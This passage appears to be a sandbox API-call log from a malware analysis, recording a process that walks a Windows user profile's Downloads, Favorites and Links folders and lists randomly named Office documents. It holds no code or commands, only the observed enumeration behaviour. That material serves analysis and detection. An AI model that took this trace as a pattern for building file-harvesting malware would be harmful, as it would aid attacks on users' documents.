dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfe6c0, ftCreationTime.dwHighDateTime=0x1d54061, ftLastAccessTime.dwLowDateTime=0xa96381b0, ftLastAccessTime.dwHighDateTime=0x1d4ee42, ftLastWriteTime.dwLowDateTime=0xa96381b0, ftLastWriteTime.dwHighDateTime=0x1d4ee42, nFileSizeHigh=0x0, nFileSizeLow=0x1685, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6x5Al7 pvIePmK.docx", cAlternateFileName="6X5AL7~1.DOC")) returned 1 [0111.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7eb8d10, ftCreationTime.dwHighDateTime=0x1d50511, ftLastAccessTime.dwLowDateTime=0xc8264180, ftLastAccessTime.dwHighDateTime=0x1d5278d, ftLastWriteTime.dwLowDateTime=0xc8264180, ftLastWriteTime.dwHighDateTime=0x1d5278d, nFileSizeHigh=0x0, nFileSizeLow=0x6943, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9huoURlo4xaH5cScK.docx", cAlternateFileName="9HUOUR~1.DOC")) returned 1 [0111.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b36560, ftCreationTime.dwHighDateTime=0x1d54e59, ftLastAccessTime.dwLowDateTime=0xebe38740, ftLastAccessTime.dwHighDateTime=0x1d4f76d, ftLastWriteTime.dwLowDateTime=0xebe38740, ftLastWriteTime.dwHighDateTime=0x1d4f76d, nFileSizeHigh=0x0, nFileSizeLow=0xb2cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9is01ddNDlEMb.xlsx", cAlternateFileName="9IS01D~1.XLS")) returned 1 [0111.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a2bd30, ftCreationTime.dwHighDateTime=0x1d53450, ftLastAccessTime.dwLowDateTime=0xec4ee870, ftLastAccessTime.dwHighDateTime=0x1d4e212, ftLastWriteTime.dwLowDateTime=0xec4ee870, ftLastWriteTime.dwHighDateTime=0x1d4e212, nFileSizeHigh=0x0, nFileSizeLow=0x97ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AYbPNC9cxxg.pptx", cAlternateFileName="AYBPNC~1.PPT")) returned 1 [0111.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc451380, ftCreationTime.dwHighDateTime=0x1d4d55f, ftLastAccessTime.dwLowDateTime=0xc5da80f0, ftLastAccessTime.dwHighDateTime=0x1d4cfa2, ftLastWriteTime.dwLowDateTime=0xc5da80f0, ftLastWriteTime.dwHighDateTime=0x1d4cfa2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BXteOBXIuKySqXgo0", cAlternateFileName="BXTEOB~1")) returned 1 [0111.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec8871a0, ftCreationTime.dwHighDateTime=0x1d53bfc, ftLastAccessTime.dwLowDateTime=0xa6c5f30, ftLastAccessTime.dwHighDateTime=0x1d518fb, ftLastWriteTime.dwLowDateTime=0xa6c5f30, ftLastWriteTime.dwHighDateTime=0x1d518fb, nFileSizeHigh=0x0, nFileSizeLow=0x3333, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CjF8p.docx", cAlternateFileName="CJF8P~1.DOC")) returned 1 [0111.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x571cfaa0, ftCreationTime.dwHighDateTime=0x1d5146f, ftLastAccessTime.dwLowDateTime=0x8ee44bb0, ftLastAccessTime.dwHighDateTime=0x1d555dc, ftLastWriteTime.dwLowDateTime=0x8ee44bb0, ftLastWriteTime.dwHighDateTime=0x1d555dc, nFileSizeHigh=0x0, nFileSizeLow=0x9e37, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cVr6.pptx", cAlternateFileName="CVR6~1.PPT")) returned 1 [0111.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b288f30, ftCreationTime.dwHighDateTime=0x1d51320, ftLastAccessTime.dwLowDateTime=0x1c6008c0, ftLastAccessTime.dwHighDateTime=0x1d50a43, ftLastWriteTime.dwLowDateTime=0x1c6008c0, ftLastWriteTime.dwHighDateTime=0x1d50a43, nFileSizeHigh=0x0, nFileSizeLow=0xb8c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dCzpsluKVRUVVZ8bGKcj.pptx", cAlternateFileName="DCZPSL~1.PPT")) returned 1 [0111.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb02a11f0, ftCreationTime.dwHighDateTime=0x1d4cfbe, ftLastAccessTime.dwLowDateTime=0x2932e900, ftLastAccessTime.dwHighDateTime=0x1d4d0b4, ftLastWriteTime.dwLowDateTime=0x2932e900, ftLastWriteTime.dwHighDateTime=0x1d4d0b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m8Ml-6lNM1 wULCS0yD", cAlternateFileName="M8ML-6~1")) returned 1 [0111.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0111.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce75470, ftCreationTime.dwHighDateTime=0x1d4ccdb, ftLastAccessTime.dwLowDateTime=0xb8338960, ftLastAccessTime.dwHighDateTime=0x1d4ca1b, ftLastWriteTime.dwLowDateTime=0xb8338960, ftLastWriteTime.dwHighDateTime=0x1d4ca1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="p4QbPuBf", cAlternateFileName="")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7459430, ftCreationTime.dwHighDateTime=0x1d5081a, ftLastAccessTime.dwLowDateTime=0x8177e5e0, ftLastAccessTime.dwHighDateTime=0x1d52062, ftLastWriteTime.dwLowDateTime=0x8177e5e0, ftLastWriteTime.dwHighDateTime=0x1d52062, nFileSizeHigh=0x0, nFileSizeLow=0x1205, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qv XM3woqTwbpxO3v.xlsx", cAlternateFileName="QVXM3W~1.XLS")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x824549f0, ftCreationTime.dwHighDateTime=0x1d4ce0e, ftLastAccessTime.dwLowDateTime=0x731cfcb0, ftLastAccessTime.dwHighDateTime=0x1d4cee1, ftLastWriteTime.dwLowDateTime=0x731cfcb0, ftLastWriteTime.dwHighDateTime=0x1d4cee1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SmG7", cAlternateFileName="")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a16e980, ftCreationTime.dwHighDateTime=0x1d4e9f2, ftLastAccessTime.dwLowDateTime=0xe5fa5540, ftLastAccessTime.dwHighDateTime=0x1d4d754, ftLastWriteTime.dwLowDateTime=0xe5fa5540, ftLastWriteTime.dwHighDateTime=0x1d4d754, nFileSizeHigh=0x0, nFileSizeLow=0x17a5b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t40QA1IsS7nqa.pptx", cAlternateFileName="T40QA1~1.PPT")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713ec1f0, ftCreationTime.dwHighDateTime=0x1d50f7b, ftLastAccessTime.dwLowDateTime=0x10635a0, ftLastAccessTime.dwHighDateTime=0x1d53652, ftLastWriteTime.dwLowDateTime=0x10635a0, ftLastWriteTime.dwHighDateTime=0x1d53652, nFileSizeHigh=0x0, nFileSizeLow=0x846d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ueCUDl.docx", cAlternateFileName="UECUDL~1.DOC")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2b1700, ftCreationTime.dwHighDateTime=0x1d4f7bd, ftLastAccessTime.dwLowDateTime=0xa63b5190, ftLastAccessTime.dwHighDateTime=0x1d528d8, ftLastWriteTime.dwLowDateTime=0xa63b5190, ftLastWriteTime.dwHighDateTime=0x1d528d8, nFileSizeHigh=0x0, nFileSizeLow=0x95a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uzFglAG bSH.xlsx", cAlternateFileName="UZFGLA~1.XLS")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb511180, ftCreationTime.dwHighDateTime=0x1d5072e, ftLastAccessTime.dwLowDateTime=0x9724f660, ftLastAccessTime.dwHighDateTime=0x1d4e9c8, ftLastWriteTime.dwLowDateTime=0x9724f660, ftLastWriteTime.dwHighDateTime=0x1d4e9c8, nFileSizeHigh=0x0, nFileSizeLow=0x13376, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wq8G.xlsx", cAlternateFileName="WQ8G~1.XLS")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb74f2730, ftCreationTime.dwHighDateTime=0x1d52b9f, ftLastAccessTime.dwLowDateTime=0x423901b0, ftLastAccessTime.dwHighDateTime=0x1d4d635, ftLastWriteTime.dwLowDateTime=0x423901b0, ftLastWriteTime.dwHighDateTime=0x1d4d635, nFileSizeHigh=0x0, nFileSizeLow=0xdf68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xBje_MZVdD1M.docx", cAlternateFileName="XBJE_M~1.DOC")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fc5c540, ftCreationTime.dwHighDateTime=0x1d4f9ca, ftLastAccessTime.dwLowDateTime=0xaf7c9dd0, ftLastAccessTime.dwHighDateTime=0x1d52f4b, ftLastWriteTime.dwLowDateTime=0xaf7c9dd0, ftLastWriteTime.dwHighDateTime=0x1d52f4b, nFileSizeHigh=0x0, nFileSizeLow=0xf9d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yhDls2iW48j.xlsx", cAlternateFileName="YHDLS2~1.XLS")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37dcdc0, ftCreationTime.dwHighDateTime=0x1d4e675, ftLastAccessTime.dwLowDateTime=0x40d8b7d0, ftLastAccessTime.dwHighDateTime=0x1d4e66f, ftLastWriteTime.dwLowDateTime=0x40d8b7d0, ftLastWriteTime.dwHighDateTime=0x1d4e66f, nFileSizeHigh=0x0, nFileSizeLow=0x107a7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="za8H7KP3EgJw.pptx", cAlternateFileName="ZA8H7K~1.PPT")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf47b160, ftCreationTime.dwHighDateTime=0x1d4d1a4, ftLastAccessTime.dwLowDateTime=0xf25400e0, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0xf25400e0, ftLastWriteTime.dwHighDateTime=0x1d4cf28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zmTKLzB", cAlternateFileName="")) returned 1 [0111.663] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf47b160, ftCreationTime.dwHighDateTime=0x1d4d1a4, ftLastAccessTime.dwLowDateTime=0xf25400e0, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0xf25400e0, ftLastWriteTime.dwHighDateTime=0x1d4cf28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zmTKLzB", cAlternateFileName="")) returned 0 [0111.663] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0111.663] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.663] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0111.663] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.663] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.663] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.664] PathFindFileNameW (pszPath="") returned="" [0111.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0111.664] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.664] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.664] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0111.664] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0111.664] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.664] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0111.664] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.664] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.664] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.664] PathFindFileNameW (pszPath="") returned="" [0111.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0111.664] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.665] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.665] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0111.665] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0111.665] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0111.665] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0111.665] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0111.665] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0111.665] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.665] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0111.665] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.665] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.665] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.665] PathFindFileNameW (pszPath="") returned="" [0111.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, 